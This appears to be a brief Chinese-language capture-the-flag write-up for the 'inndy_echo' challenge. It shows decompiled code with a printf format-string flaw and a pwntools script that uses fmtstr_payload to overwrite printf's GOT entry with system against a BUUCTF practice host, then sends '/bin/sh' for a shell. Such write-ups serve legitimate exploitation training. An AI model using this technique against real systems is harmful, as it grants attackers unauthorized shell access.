inndy_echo

inndy_echo

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
1
2
3
4
5

32位，只开了NX

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-10Ch]
  unsigned int v4; // [esp+10Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  do
  {
    fgets(&s, 0x100, stdin);
    printf(&s);
  }
  while ( strcmp(&s, "exit\n") );
  system("echo Goodbye");
  exit(0);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

程序很简单，给了格式化字符串漏洞，并且给了system

思路

改printf@got-->system 输入/bin/sh

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",25120,"./pwn",10)
context(os='linux', arch='i386',log_level='debug')
#debug('b *0x80485b9')

pl=fmtstr_payload(7,{elf.got['printf']:elf.sym['system']})
sl(pl)
sl(b'/bin/sh\x00')
ia(c)
1
2
3
4
5
6
7
8
9
10